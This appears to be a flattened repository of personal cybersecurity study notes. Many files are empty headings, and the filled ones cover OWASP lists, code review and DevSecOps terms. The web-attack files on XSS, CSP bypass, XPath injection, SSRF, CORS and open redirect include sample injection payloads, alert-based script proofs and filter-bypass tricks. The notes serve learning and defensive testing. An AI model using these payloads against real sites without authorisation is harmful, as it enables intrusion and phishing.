├── code-review
    ├── README.md
    ├── codereview_basic.md
    └── php_review.md
├── active-directory
    ├── kerberoasting.md
    ├── README.md
    ├── asrep_roasting.md
    ├── ticket_attacks.md
    └── gpp_credentials.md
├── priv-esc
    ├── linux.md
    └── windows.md
├── enumeration
    ├── password_attacks.md
    └── common_ports_services.md
├── buffer-overflow
    └── simple_stack.md
├── appsec.png
├── mobile
    ├── README.md
    ├── ios.md
    └── android.md
├── web
    ├── README.md
    ├── 05.openredirect.md
    ├── 11.ssti.md
    ├── 15.clickjacking.md
    ├── 08.xpath.md
    ├── 13.bac_idor.md
    ├── 14.logicflaws.md
    ├── 06.ssrf.md
    ├── 04.sop_cors.md
    ├── 02.cspbypass.md
    ├── 01.xss.md
    ├── 03.csrf.md
    ├── 12.jwt.md
    ├── 09.xxe.md
    ├── 10.lfi-rfi.md
    └── 07.sqli.md
├── api
    ├── README.md
    ├── graphql.md
    └── rest.md
├── README.md
├── devsecops
    ├── devsecops_terms.md
    └── docker.md
└── thick-client
    └── thick_client.md


/code-review/README.md:
--------------------------------------------------------------------------------
1 | # Source Code Review
2 | 


--------------------------------------------------------------------------------
/active-directory/kerberoasting.md:
--------------------------------------------------------------------------------
1 | # Kerberoasting
2 | 


--------------------------------------------------------------------------------
/priv-esc/linux.md:
--------------------------------------------------------------------------------
1 | # Linux Privilege Escalation
2 | 


--------------------------------------------------------------------------------
/active-directory/README.md:
--------------------------------------------------------------------------------
1 | # Active Directory Attacks
2 | 


--------------------------------------------------------------------------------
/active-directory/asrep_roasting.md:
--------------------------------------------------------------------------------
1 | # AS-REP Roasting
2 | 


--------------------------------------------------------------------------------
/active-directory/ticket_attacks.md:
--------------------------------------------------------------------------------
1 | # Ticket Attacks
2 | 


--------------------------------------------------------------------------------
/enumeration/password_attacks.md:
--------------------------------------------------------------------------------
1 | # Password Attacks
2 | 


--------------------------------------------------------------------------------
/priv-esc/windows.md:
--------------------------------------------------------------------------------
1 | # Windows Privilege Escalation
2 | 


--------------------------------------------------------------------------------
/active-directory/gpp_credentials.md:
--------------------------------------------------------------------------------
1 | # GPP Credential Attacks
2 | 


--------------------------------------------------------------------------------
/buffer-overflow/simple_stack.md:
--------------------------------------------------------------------------------
1 | # Simple stack-based buffer overflow
2 | 


--------------------------------------------------------------------------------
/appsec.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/nybble04/cybersec-notes/HEAD/appsec.png


--------------------------------------------------------------------------------
/enumeration/common_ports_services.md:
--------------------------------------------------------------------------------
1 | # Common Ports and Service Enumeration
2 | 


--------------------------------------------------------------------------------
/mobile/README.md:
--------------------------------------------------------------------------------
 1 | # Mobile Application Security
 2 | 
 3 | ## OWASP Top 10 - 2016
 4 | 
 5 | 1. Improper Platform Usage
 6 | 2. Insecure Data Storage
 7 | 3. Insecure Communication
 8 | 4. Insecure Authentication
 9 | 5. Insufficient Cryptography
10 | 6. Insecure Authorization
11 | 7. Client Code Quality
12 | 8. Code Tampering
13 | 9. Reverse Engineering
14 | 10. Extraneous Functionality
15 | 


--------------------------------------------------------------------------------
/web/README.md:
--------------------------------------------------------------------------------
 1 | # Web Application Security
 2 | 
 3 | ## OWASP Top 10 - 2021
 4 | 1. Broken Access Control
 5 | 2. Cryptographic Failures
 6 | 3. Injection
 7 | 4. Insecure Design
 8 | 5. Security Misconfiguration
 9 | 6. Vulnerable and Outdated Components
10 | 7. Identification and Authentication Failures
11 | 8. Software and Data Integrity Failures
12 | 9. Security Loggin and Monitoring Failures
13 | 10. Server-Side Request Forgery
14 | 


--------------------------------------------------------------------------------
/api/README.md:
--------------------------------------------------------------------------------
 1 | # Application Programming Interface (API) Security
 2 | 
 3 | ## OWASP Top 10 - 2019
 4 | 
 5 | 1. Broken Object Level Authorization (BOLA) --> Like IDOR (resource level)
 6 | 2. Broken User Authentication --> Tokens
 7 | 3. Excessive Data Exposure --> Information Disclosure
 8 | 4. Lack of Resources & Rate Limiting
 9 | 5. Broken Function Level Authorization (BFLA) --> Like IDOR (functionality level)
10 | 6. Mass Assignment --> Being able to change more than what is allowed or being able to add an extra parameter in the request which will get processed.
11 | 7. Security Misconfiguration --> XSS from CORS
12 | 8. Injection --> Try NoSQLi
13 | 9. Improper Assets Management --> Like keeping v1 around when v6 is available
14 | 10. Insufficient Logging & Monitoring
15 | 


--------------------------------------------------------------------------------
/web/05.openredirect.md:
--------------------------------------------------------------------------------
 1 | # Open Redirect Attacks
 2 | 
 3 | When a website allows for redirection to an unexpected page, this is called an open redirect. Sometimes applications need to direct the traffic to another page. If a user input can influence the outcome of that redirection, an attacker can force a redirection to a fake or malicious page.
 4 | 
 5 | Example:
 6 | 
 7 | Assume chrome.com has an open redirect using parameter nextpage: `https://chrome.com?nextpage=https://thankyou.google.com`. An attacker can use this to trick a user into visiting attacker.com by sending the link `https://chrome.com?nextpage=https://attacker.com` or `https://chrome.com?nextpage=https%3A%2F%2Fattacker.com`. The user will most likely click the link because they trust chrome.com.
 8 | 
 9 | **Resources**
10 | 1. [(4:16) Steal password reset token from referrer header and (4:44) Thomas Bojarski Google double open redirect bug](https://www.youtube.com/watch?v=4Jk_I-cw4WE)
11 | 2. [Phishing](https://www.youtube.com/watch?v=TswO4ULUtKY)
12 | 


--------------------------------------------------------------------------------
/web/11.ssti.md:
--------------------------------------------------------------------------------
 1 | # Server Side Template Injection (SSTI)
 2 | 
 3 | **What are templates?**
 4 | - Files that contain static content with placeholders to add dynamic content. 
 5 | - These placeholders have sepcific syntax based on the **template engine** being used. 
 6 | 
 7 | **What is the issue?**
 8 | - When the templating engine interprets our input as template code instead of data.
 9 | - Using this we can achieve code execution within these placeholders.
10 | 
11 | **Methodology**
12 | - Look for places where user input is reflected in the ouput. A template could be used.
13 | - Capture the request and send it to Burp Intruder.
14 | - Select Sniper Attack.
15 | - Add a list of payloads for different template engines. Use [hacktricks "Detect Plaintext Context"](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)
16 | - In Burp Intruder Options select "grep extract" and insert the message that comes with the reflected input.
17 | - In the intruder results, check if any of the payloads results return "49". This will give the template engine being used.
18 | - Now search for payloads that can be used in this template engine.
19 | 
20 | 
21 | **References**
22 | 1. [hacktricks](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection)
23 | 2. [Seven Seas Security SSTI](https://www.youtube.com/playlist?list=PL1GDzLoRwyVCEG_dnWcQDbDXJSBw7lTOT)
24 | 


--------------------------------------------------------------------------------
/web/15.clickjacking.md:
--------------------------------------------------------------------------------
 1 | # Clickjacking
 2 | - Interface based attack.
 3 | - Trick a user into clicking something by overlaying a harmless looking button over a hidden malicious button.
 4 | - Lead to CSRF or XSS
 5 | - Malicious downloads or Keyjacking
 6 | 
 7 | ## Prevention
 8 | 
 9 | ## X-Frame-Options Header and CSP
10 | 
11 | > NOTE: CSP has precedence over X-Frame-Options
12 | 
13 | 1. Prevent iframe from being embedded in all website
14 | ```
15 | X-Frame-Options: deny
16 | Content-Security-Policy: frame-ancestors 'none';
17 | ```
18 | 3. Prevent iframe from being embedd in all websites except same origin websites
19 | ```
20 | X-Frame-Options: sameorigin
21 | Content-Security-Policy: frame-ancestors 'self';
22 | ```
23 | 5. Allow iframe to be embedded only in some websites
24 | ```
25 | X-Frame-Options: allow-from https://whitelist.com
26 | Content-Security-Policy: frame-ancestors whitelist.com;
27 | ```
28 | 
29 | ## Cookie Attributes
30 | ```
31 | SameSite: Strict # Request should come from the same origin
32 | SameSite: Lax    # Request should come from top level navigation (user click not script click)
33 | ```
34 | 
35 | **Resources**
36 | 1. [Intigrity: What is clickjacking](https://www.youtube.com/watch?v=_tz0O5-cndE)
37 | 2. [Intigrity: Clickjacking a DOM XSS](https://www.youtube.com/watch?v=hqXAgFQXOH0)
38 | 3. [Clickjacking Portswigger](https://portswigger.net/web-security/clickjacking)
39 | 


--------------------------------------------------------------------------------
/web/08.xpath.md:
--------------------------------------------------------------------------------
 1 | # XPath Injection
 2 | 
 3 | When data is stored as XML, it can be queried using a string which is called the XPATH. XPath injection is a type of attack where user input is accepted as Xpath. A a malicious input can lead to un-authorised access or exposure of sensitive information such as the structure or content of XML document.
 4 | 
 5 | > Attacks are similar to SQL injection - SQLi attacks SQL data stores while XPathi attacks XML data stores.
 6 | 
 7 | Example:
 8 | ```xml
 9 | <?xml version=”1.0" encoding="utf-8"?>
10 | <Employees>
11 |  <Employee ID="1">
12 |     <Name>Sam</Name>
13 |     <UserName>Johns</UserName>
14 |     <Password>This is Secret</Password>
15 |  </Employee>
16 |  <Employee ID="2">
17 |     <Name>Peter</Name>
18 |     <UserName>Pan</UserName>
19 |     <Password>Ssssshh</Password>
20 |  </Employee>
21 | </Employees>
22 | ```
23 | 
24 | Backend Query:
25 | ```
26 | //Employee[UserName/text()='" & Request("UserName") & "' And Password/text()='" & Request("Password") & "']
27 | ```
28 | 
29 | Payload:
30 | ```
31 | Username : test' or 1=1 or 'a'='a 
32 | Password : test
33 | ```
34 | 
35 | This will make the backend query:
36 | ```
37 | //Employee[UserName/text()=   '" & Request("UserName") & " '   And    Password/text()='" & Request("Password") & "']
38 | //Employee[UserName/text()=   'test' or 1=1 or 'a'='a'        And    Password/text()='test']
39 | ```
40 | 
41 | **Resources**
42 | 1. [CybersecurityTV Video](https://www.youtube.com/watch?v=rFXDr5KVdAc) - Explains how to test. It is similar to testing SQLi where you supply invalid characters and look for XML related error messages.
43 | 2. [Hacktricks payloads](https://book.hacktricks.xyz/pentesting-web/xpath-injection)
44 | 3. [Blog for above example](https://medium.com/@shatabda/security-xpath-injection-what-how-3162a0d4033b)
45 | 


--------------------------------------------------------------------------------
/web/13.bac_idor.md:
--------------------------------------------------------------------------------
 1 | # Broken Access Control
 2 | 
 3 | **What is access control and how can it be exploited?**
 4 | 
 5 | Access control and its abuse are of three types:
 6 | 
 7 | 1. **Vertical:** restrict access to resources and actions between users of different privileges - admin and employee.
 8 | 2. **Horizontal:** restrict access to resources and actions between users of same privileges - between employees.
 9 | 3. **Context dependent:** restrict access to resources and actions based on the functionality flow (state of the application). Prevents the user from performing actions in the wrong order. Eg: add $1 item to the cart -> pay -> go back and add $100 items to the cart such that these items will be shipped without payment.
10 | 
11 | **What is IDOR?**
12 | 
13 | Insecure Direct Object Reference (IDOR) is a type of access control vulnerability which involves some form of an identifier. This identifier can be part of the parameter or the body and is user modifiable (i.e. user input is accepted and trusted).
14 | 
15 | Eg: `/getinvoice/id=123` , trying different ids can reveal other invoices which might include sensitive information like address and payment details.
16 | 
17 | **Testing requirements**
18 | 
19 | 1. Understand all the available roles.
20 | 2. Create 2 users for each role - check between different users of the same role, check between different users of different roles.
21 | 
22 | **Attack strategy**
23 | 1. Forced browsing - login as low user and paste urls of pages available only to the admin.
24 | 2. Replacing identifiers.
25 | 3. Executing JS functions from the developer console - UI elements might be hidden but the JS will be executable.
26 | 4. Use Burp extension [Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f).
27 | 5. Use Burp match and replace.
28 | 6. For the same endpoint try different HTTP methods.
29 | 
30 | **Resources:**
31 | 1. [Rana Khalil](https://www.youtube.com/watch?v=_jz5qFWhLcg&list=PLuyTk2_mYISId4_l9YET7Gv29cHcNguq-)
32 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Cyber Security Notes 
 2 | ![devsecops components](./appsec.png)
 3 | 
 4 | - This is an ever-growing checklist that expands with my never-ending learning. 🤓
 5 | - Links to supplementary resources or credits are added within the notes.
 6 | - I'm no expert, so feel free to raise a PR with any corrections.
 7 | 
 8 | ## 1. Application Security Topics:
 9 | 
10 | ### Web Application Security
11 | - [x] OWASP Top 10
12 | - [x] XSS, CSP
13 | - [x] CSRF, CORS, SOP
14 | - [x] Open redirect
15 | - [x] SSRF
16 | - [x] SQLi
17 | - [ ] NoSQLi
18 | - [x] XPATHi
19 | - [x] XXE
20 | - [x] LFI, RFI
21 | - [x] SSTI
22 | - [x] JWT
23 | - [x] Broken Access Control, IDOR
24 | - [x] Clickjacking
25 | - [x] Business Logic Flaws
26 | - [ ] Race Conditions
27 | - [ ] HTTP Host header Attacks
28 | - [ ] OAuth 2.0
29 | - [ ] SAML
30 | - [ ] Web Socket Vulnerabilities
31 | - [ ] Insecure deserialization
32 | - [ ] Prototype Pollution
33 | - [ ] HTTP Request Smuggling
34 | - [ ] Web Cache Poisoning
35 | - [ ] DOM vulnerabilities
36 | 
37 | 
38 | ### Mobile Security
39 | - [x] OWASP Top 10
40 | - [x] Android
41 | - [x] iOS 
42 | 
43 | ### API Security
44 | - [x] OWASP Top 10
45 | - [x] REST API
46 | - [x] GraphQL
47 | 
48 | ### Thick Client Security
49 | - [x] Thick/Heavy/Rich/Fat client 
50 | 
51 | ### DevSecOps Concepts
52 | - [x] Concepts - ShiftLeft, Agile, CI/CD, SAST/SCA
53 | - [x] Docker Security
54 | - [ ] Kubernetes Security
55 | - [ ] Threat Modeling
56 | 
57 | ## 2. Network/Infrastructure Security Topics:
58 | 
59 | ### Enumeration and Foothold
60 | - [ ] Common ports and services
61 | - [ ] Password cracking
62 | 
63 | ### Privilege Escalation
64 | - [ ] Windows
65 | - [ ] Linux
66 | 
67 | ### Buffer Overflow
68 | - [ ] Vanilla/Simple stack BoF
69 | 
70 | ### Lateral movement
71 | - [ ] Pivoting and tunneling
72 | 
73 | ### Active Directory Attacks
74 | - [ ] AS REP roasting
75 | - [ ] Kerberoasting
76 | - [ ] GPP credentials
77 | - [ ] Golden Ticket
78 | - [ ] Silver Ticket
79 | 
80 | ### Wireless security
81 | - [ ] Wifi WPA2
82 | 


--------------------------------------------------------------------------------
/code-review/codereview_basic.md:
--------------------------------------------------------------------------------
 1 | # Code Review Methodology
 2 | 
 3 | **Where to find source code if not given (black box to white box)**
 4 | 1. Look at client-side code.
 5 | 2. Desktop or mobile app source code (decompile).
 6 | 3. Leak code through a vulnerability: path traversal.
 7 | 4. OSINT: Github, pastebin, etc.
 8 | 
 9 | **Source and Sink**
10 | - **Source** - The code that allows the vulnerability to happen. Eg: `command = $_GET['c']`
11 | - **Sink** - The place where the vulnerability takes effect. Eg: `exec(command)`
12 | If data flows from the source to the sink without proper validation, then there is a vulnerability.
13 | 
14 | **Tips to quickly start**
15 | 1. Search for **known dangerous functions** - see if they operate on user input.
16 | 2. **Hardcoded credentials** - API keys, encryption keys, database passwords. NOTE: This is vulnerable even on the server side.
17 | 3. The use of **weak cryptography and hashing algorithms** - MD5, SHA1, DES.
18 | 4. **Outdated dependencies** - Look for dependencies, their versions and if they are associated with any CVE.
19 | 5. Look for **revealing developer comments** - Might reveal sensitive info - ip, credentials, other files that might have sensitive info.
20 | 
21 | **More comprehensive Review**
22 | 1. Focus on critical functions first (Authentication, Authorization, PII like payment or shipping, etc.
23 | 2. Follow any code that takes in use input.
24 | 3. Use SAST, SCA and secrets scanner tools. Then manually verify the results.
25 | 
26 | **Some concepts covered in Paul's presentation**
27 | 1. Input Validation - Whitelist is better than blacklist.
28 | 2. Neutralize input - use parameterized/prepared statements. important for backend, to avoid vulns like sqli.
29 | 3. Neutralize output - important for frontend, to avoid reflection. 
30 | 4. Data encryption
31 | 5. Memory safe functions - for C/C++, to avoid vulns like buffer overflow.
32 | 6. IDOR - to avoid access control issues.
33 | 
34 | 
35 | **Resources**
36 | 1. [Vickie Li - OWASP Dev Slop](https://www.youtube.com/watch?v=A8CNysN-lOM)
37 | 2. [Paul Ionescu - OWASP Dev Slop](https://www.youtube.com/watch?v=rAwxFw25x3E)
38 | 3. [Practice - OWASP Secure Coding Dojo](https://github.com/OWASP/SecureCodingDojo)
39 | 


--------------------------------------------------------------------------------
/web/14.logicflaws.md:
--------------------------------------------------------------------------------
 1 | # Business Logic Flaws
 2 | 
 3 | **What is it?**
 4 | 
 5 | Business logic flaws are flaws in the design and the implementation which cause unforseen behaviour when users pass unexpected values to the target. Impact varies depending on the resulting behaviour.
 6 | 
 7 | **Some E-commerce examples**
 8 | 
 9 | Credits: Wesley Thijs a.k.a [The XSS Rat](https://www.youtube.com/@TheXSSrat)
10 | 
11 | 1. **Client side calculations of prices in a clothing webshop** - High/Crit. This is core business for the target so any issue related to the core business will automatically be more impactful
12 | 2. **When brute forcing usernames, you get a 200 OK status when the username you are trying to brute force exists and a 403 if it does not exist on the login page** - Low. This is rather low unless those usernames really have to be secret, you'd have to brute force the login names and then you have to still guess the correct password. This is more usefull on a pentest job.
13 | 3. **Negative amounts of items on a webshop lead to negative prices** - High/Crit. This is core business for the target so any issue related to the core business will automatically be more impactful above all, impact on money directly is very important
14 | 4. **If price = integer and amount = integer and total price = interger we can overflow total price when we price * amount** - Critical. This might lead to the target returning us money which is certainly not desireable
15 | 5. **Registering with the same username as an existing user takes over the account** - Critical. Account takeovers are always higher on the severity scale
16 | 6. **The user manual might tell you that you can't deactivate super admin users, but after trying it you can** - Medium. You have to be a priviledged user to even be allowed into the user management system so this lowers the severity a bit.
17 | 7. **Field in the response that's not in the original request but does get processed by the server when you add it** - Nothing/Critical. This really depends on the fields that is being processed here. If you can change your accounttype from "User" to "Admin" This would ofcourse be a big problem.
18 | 8. **Importing products with the same name as existing ones overwrites them. Even if the products do not belong to you and you should not be able to overwrite them.** - Medium. You are already in a priviledged position before you can import products, this lowers the severity.
19 | 


--------------------------------------------------------------------------------
/web/06.ssrf.md:
--------------------------------------------------------------------------------
 1 | # Server Side Request Forgery (SSRF)
 2 | - User has the ability to modify the URLs to which a system is making requests to.
 3 | - These client-side URL modifications are not validated by the server.
 4 | - These URLs could be internal or extenal.
 5 | 
 6 | Abuse Cases:
 7 | - Abusing the trust relation between exterally facing victim with internal systems, to access the internal systems.
 8 | - Abusing the trust relation between externally facing victin and 3rd party external system, to perform actions on the 3rd party external system.
 9 | - Portscan internal networks of the externally facing server.
10 | - Connect to local services bound to localhost
11 | 
12 | Bypassing Blacklist:
13 | - Encode the requests. Eg: `127.0.0.1` can be --> `127.1` OR decimal-encoded as `2130706433` OR octal-represented as `017700000001`.
14 | 
15 | Bypassing libraries that disable calling internal IP addresses:
16 | - DNS Rebinding: Register a domain name that resolves to internal IP address.
17 | - HTTP Redirection: Use your own server that redirects to an internal IP address.
18 | - Inconsistencies in URL Parsing [Orange Tsai's Talk](https://www.youtube.com/watch?v=voTHFdL9S2k)
19 | 
20 | How to prevent?
21 | - Validate all client supplied input data.
22 | - Use a whitelist instead of a blacklist.
23 | - Do not send raw response to the clients.
24 | - Disable HTTP Redirections.
25 | - Network segmentation to prevent port scanning.
26 | - Give the server limited outgoing network access (deny by default) by using firewalls
27 | 
28 | ## Methodology
29 | - Look for requests that contain user controllable URLs (request body, request parameter, custom header, etc.)
30 | - (In-band - Basic) Try changing the url to **localhost**. See if you get the same page, same page with additional functionalities, different page.
31 | - (In-band - Network Scanning) If the URL has an **internal IP address**, you can send it to intruder to bruteforce more IPs.
32 | - (In-band - Dirbusting)- If the URL is to another website, **bruteforce directories** of that website using intruder.
33 | - (Out-band) Try to change the URL to a server that you control.
34 | - Try to URL encode 1 or 2 times to bypass regex based filters. 
35 | - (Open Redirect to SSRF) If a complete URL is not being sent, and only a path is being sent like `/products/tables/productId=1`; **look for open redirects** in any of the web pages of the application. Use this open redirect path in the SSRF payload to make a request to another resource.
36 | 
37 | **Resources**
38 | 1. [SSRF Rana Khalil](https://www.youtube.com/playlist?list=PLuyTk2_mYISIlDtWBIqmgJgn6CYlzHVsQ)
39 | 2. [SSRF Pwn Function](https://www.youtube.com/watch?v=RCJdPiogUIk&list=PLI_rLWXMqpSl_TqX9bbisW-d7tDqcVvOJ&index=10)
40 | 3. [Intigrity How to search for SSRF](https://www.youtube.com/watch?v=Ku6CK3Aes8Y)
41 | 


--------------------------------------------------------------------------------
/web/04.sop_cors.md:
--------------------------------------------------------------------------------
 1 | # Same Origin Policy
 2 | - Origin = protocol/scheme + domain + port number.
 3 | - The same-origin policy PREVENTS **scripts** on one origin from **reading (NOT writing)** data from another origin.
 4 | - This prevents websites from attacking each other.
 5 | - Enforced by the browsers.
 6 | 
 7 | > NOTE: SOP allows embedding of images via the `<img>` tag, media via the `<video>` tag and JavaScript includes with the `<script>` tag. However, while these external resources can be loaded by the page, **any JavaScript on the page won't be able to read the contents of these resources**. 
 8 | 
 9 | ## SOP Exceptions
10 | - SOP is relaxed when it comes to cookies. Subdomains can access a domain's cookies even though subdomains are a different origin. To protect from abuse, use `HttpOnly` flags.
11 | - If `marketing.example.com` has to read the contents of `example.com`, both domains need to **set `document.domain` to example.com**. Then SOP will allow access between the two domains despite their different origins. 
12 | 
13 | # Cross Origin Resource Sharing
14 | - Browser mechanism which enables controlled access to resources located in a different origin.
15 | - Misconfigurations cause vulnerabilities.
16 | 
17 | ## CORS HTTP Headers
18 | ```
19 | Access-Control-Allow-Origin
20 | Access-Control-Allow-Credentials
21 | ```
22 | - **Access-Control-Allow-Origin** - Indicates whether the response can be read by the specified origin. 
23 | - Can only have _one_ value: `* or <origin> or null`
24 | 
25 | - **Access-Control-Allow-Credentials** - Indicates whether authenticated response (with cookies) can be read by the origin specified in the Access-Control-Allow-Origin header. 
26 | - Can only have bool values: `true or false`
27 | 
28 | > NOTE: If `Access-Control-Allow-Origin: *` then `Access-Control-Allow-Credentials` can never be set to true.
29 | 
30 | > NOTE: If `Access-Control-Allow-Origin: null` then `Access-Control-Allow-Credentials` can be set to true. This is the most dangerous option.
31 | 
32 | ## Testing for CORS misconfiguration
33 | - If you see the CORS header `Access-Control-Allow-Credentials: true` in the response of a request, send it to repeater.
34 | 
35 | Test1: 
36 | - In the request, change origin to an arbitrary value --> `Origin: http://example.com`. See if the response has `Access-Control-Allow-Origin: http://example.com`
37 | 
38 | Test2: 
39 | - In the request, change origin to null --> `Origin: null`. See if the response has `Access-Control-Allow-Origin: null`
40 | - To create a script that executes with origin null, embedd it into a sandbox iframe
41 | ```javascript
42 | <iframe style="display: none;" sandbox="allow-scripts" srcdoc=<script>bad_code_here</script> </iframe>
43 | ```
44 | 
45 | Test3: 
46 | - In the request, change origin to the one that _begins with_ , _ends with_ or _contains_ the origin of the site --> `Origin: victim.com.attacker.com` , `Origin: attacker.com.victim.com` , `Origin: attackingvictim.com`
47 | 


--------------------------------------------------------------------------------
/web/02.cspbypass.md:
--------------------------------------------------------------------------------
 1 | # Content Security Policy (CSP) Bypass
 2 | 
 3 | **What is CSP?**
 4 | - Aim to mitigate XSS and Clickjacking.
 5 | - Restrict the content (scripts, images, iframes) that can be loaded into a page.
 6 | 
 7 | ## CSP Implementation
 8 |  1. **Header**
 9 | ```
10 | Content-Security-Policy: script-src 'self' 'unsafe-inline';
11 | ```
12 | 2. **Meta Tag**
13 | ```html
14 | <html>
15 |   <head>
16 |     <meta http-equiv "Content-Security-Policy" content="script-src 'self' 'unsafe-inline' ">
17 |   </head>  
18 | </html>
19 | ```
20 | 
21 | ## CSP Directives
22 | 1. `script-src` : Which JS sources are allowed.
23 | 2. `default-src`: What is allowed by default if nothing is explicitly mentioned.
24 | 3. `frame-ancestors`: (Clickjacking) What can be embedded as iframe.
25 | 4. `img-src` : Which source can be loaded as an image.
26 | 
27 | ## CSP Directive Values
28 | 1. `*` : Any URL except `data:`, `blob:` or `file:`.
29 | 2. `none` : No sources.
30 | 3. `self` : Sources from the same origin.
31 | 4. `data` : Resources with `data:` scheme.
32 | 5. **IMPORTANT** `unsafe-eval` : Allowed to create code from strings using `eval()`
33 | 6. **IMPORTANT** `unsafe-inline` : Allows using inline elements like `javascript:alert('xss')` or inline event handlers
34 | 
35 | ## Attacking CSP Misconfigurations
36 | 
37 | ## 1. Wildcard (*)
38 | - If * is mentioned, data: cannot be mentioned.
39 | - But if CSP is misconfigured to have both * and data it can be abused
40 | ```
41 | # Misconfiguration
42 | Content-Security-Policy: script-src 'self' https: data *; 
43 | ```
44 | ```html
45 | # Attack
46 | <script src="data:text/javascript,alert(document.domain)"></script>
47 | ```
48 | 
49 | ## 2. Unsafe eval()
50 | - Inherently unsafe
51 | ```
52 | # Misconfiguration
53 | Content-Security-Policy: script-src 'self' 'unsafe-eval';
54 | ```
55 | ```html
56 | # Attack
57 | # Base64 encode alert(document.domain) you will get YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ==
58 | # In the payload it will be decoded
59 | <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
60 | ```
61 | 
62 | ## 3. Unsafe inline()
63 | - Inherently unsafe
64 | ```
65 | Content-Security-Policy: script-src 'self'  'unsafe-inline' ;
66 | ```
67 | ```html
68 | <script>alert(document.domain);</script>
69 | ```
70 | 
71 | ## 4. Bypass CSP using File Upload
72 | - If you can upload a malicious JS file into the server
73 | - You can invoke it as it will be in the same origin
74 | 
75 | ## 5. Undefined object-src and default-src
76 | - If object-src is not mentioned then we can create a malicious object
77 | ```
78 | # Misconfiguration
79 | Content-Security-Policy: script-src 'self' ;
80 | ```
81 | ```html
82 | <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
83 | ```
84 | 
85 | 
86 | Read/Watch the following:
87 | 
88 | 1. [Cobalt Blog](https://www.cobalt.io/blog/csp-and-bypasses)
89 | 2. [Payatu Blog](https://payatu.com/blog/content-security-policyall-about-content-security-policy-and-its-bypasses/)
90 | 3. [Hack Tricks List of payloads](https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass)
91 | 4. [Crypto cat DVWA walkthrough](https://www.youtube.com/watch?v=ERksJHl0DC0)
92 | 


--------------------------------------------------------------------------------
/devsecops/devsecops_terms.md:
--------------------------------------------------------------------------------
 1 | # DevSecOps Terms
 2 | 
 3 | ## Agile SDLC - Rapid development, Rapid deployment
 4 | - Method of software development that is characterized by
 5 |   - Division of tasks into short phases of work - **sprints of 2-3 weeks**
 6 |   - Frequent reassessment - testing: functional, security, user
 7 |   - Adaptation of plans 
 8 | - [An Overview of Agile Development by ForrestKnight](https://www.youtube.com/watch?v=QLvBK9stdoM)
 9 | - [Agile Software Development by MIT Courseware](https://www.youtube.com/watch?v=UxMpn92vGXs)
10 |   
11 | 
12 | ## DevOps
13 | - Devops is a set of practices that increases the speed of **dev**eloping high quality software and **op**eration services.
14 | - Derived from Agile methodology.
15 | - This is done through automation, collaboration, fast feedback, and iterative improvement.
16 | - [What is DevOps? by GitLab](https://about.gitlab.com/topics/devops/)
17 | - [DevOps CI/CD Explained in 100 Seconds by Fireship](https://www.youtube.com/watch?v=scEDHsr3APg)
18 | 
19 | ## CI/CD
20 | - Continuous Integration - Team members integrate their work in a **shared repository**. Git commits. **Basic testing**. 
21 | - Continuous Delivery - Deploying on a **pre-production or staging environment** and performing **automated tests** to ensure the build is ready for production/release.
22 | - Continuous Deployment (not common) - **Automatically deploy the build** to production.
23 | - [What is CI/CD Pipeline? by School of Basics](https://www.youtube.com/watch?v=k2aNsQKwyOo) **(See image in timestamp 8:40)**
24 | 
25 | ## Shift Left - Fail soon to fix soon.
26 | - In traditional SDLC, the stages include `Plan > Code > Build > Test > Deploy > Monitor`, where Security comes during the 'Test' or 'Deploy' phase.
27 | - Shift left means **conducting security testing sooner and more often** in the software development phase, i.e. starting from the 'Code' phase and then in the 'Test' and 'Deploy' phases.
28 | - Security testing starts from the source - SAST, DAST, SCA
29 | - [What is Shift Left Security by Fortinet](https://www.fortinet.com/fr/resources/cyberglossary/shift-left-security)
30 | - [Shift Left Security: Meaning and Real World Usage by CoderDave](https://www.youtube.com/watch?v=94AIX5oArIw)
31 | 
32 | ## SAST, DAST, SCA
33 | - [SCA vs SAST by Tanya Janca](https://www.youtube.com/watch?v=Q2rE5XIO1Ug)
34 | - [SAST vs DAST by Synopsys](https://www.synopsys.com/blogs/software-security/sast-vs-dast-difference.html)
35 | 
36 | ### SAST - Static Application Security Testing
37 | - Analyze the source code (written by the dev team) of the product for vulnerabilities.
38 | - Manual or automated **white box testing**.
39 | - Automated tests may have false positives. Time consuming
40 | - Happens earlier in the SDLC.
41 | 
42 | ### DAST - Dynamic Application Security Testing
43 | - Analyze a running build of the product for vulnerabilities.
44 | - Manual or automated **black box testing**.
45 | - Automated tests may have false positives. Time consuming
46 | - Happens later in the SDLC.
47 | 
48 | ### SCA - Software Composition Analysis
49 | - Analyze the **security of the dependencies** used in a software project.
50 | - Checks for known/disclosed vulnerabilities in these dependencies.
51 | - More accurate. SCA scans run faster.
52 | - Ideally should happen earlier in the SDLC. 
53 | 


--------------------------------------------------------------------------------
/web/01.xss.md:
--------------------------------------------------------------------------------
 1 | # Cross Site Scripting (XSS)
 2 | 
 3 | **Attack Vectors**
 4 | 
 5 | Initially test if the page breaks using:
 6 | 1. **Break out of JS function:** ``` ' " ` ```
 7 | 2. **HTML injection:** `<img src=x>`
 8 | 3. **Break out of HTML tag attribute:** ``` '> "> `> ```
 9 | 
10 | Then proceed with complex payloads.
11 | 
12 | Challenges:
13 | 1. <script> might be filtered
14 | - Try using encoding %3cscript%3e
15 | - Try double or triple encoding also.
16 | 
17 | ## Testing for Reflected XSS 
18 |   
19 | - a.k.a First Order Xss
20 | 
21 | Requirements:
22 | 1. Attacker's code executes within a single HTTP response.
23 | 2. Often goes within request URIs or params.
24 | 3. Executes only after the user clicks the link.
25 | 
26 | Input vectors to test - all user controlled variables:
27 | 1. HTTP parameters.
28 | 2. POST parameters.
29 | 3. POST data.
30 | 4. Hidden fields.
31 | 5. Predefined radio or selection values.
32 |   
33 | ## Testing for Stored XSS 
34 |   
35 | - a.k.a Second Order XSS
36 |   
37 | Requirements:
38 | 1. The data is stored within the application.
39 | 2. Affects any user that visits the page - does not require user interaction like reflected.
40 |  
41 | Input vectors to test:
42 | 1. User/Profile details
43 | 2. Shopping cart items
44 | 3. File upload
45 | 4. Forum posts
